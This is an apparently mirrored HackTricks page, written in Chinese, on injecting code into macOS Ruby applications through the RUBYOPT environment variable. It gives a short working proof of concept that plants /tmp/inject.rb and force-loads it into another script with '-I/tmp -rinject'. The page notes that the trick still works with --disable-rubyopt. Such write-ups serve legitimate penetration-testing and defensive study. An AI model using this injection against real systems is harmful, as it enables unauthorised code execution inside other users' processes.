mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
837 B
837 B
macOS Ruby Applications Injection
{{#include ../../../banners/hacktricks-training.md}}
RUBYOPT
使用这个环境变量,可以在每次执行ruby时添加新参数。虽然参数**-e
不能用于指定要执行的ruby代码,但可以使用参数-I
和-r
来添加一个新文件夹到库加载路径,然后指定要加载的库**。
在**/tmp
中创建库inject.rb
**:
puts `whoami`
创建一个类似于以下的 Ruby 脚本:
puts 'Hello, World!'
然后使用以下任意 Ruby 脚本加载它:
RUBYOPT="-I/tmp -rinject" ruby hello.rb
有趣的事实,即使使用参数 --disable-rubyopt
也有效:
RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt
{{#include ../../../banners/hacktricks-training.md}}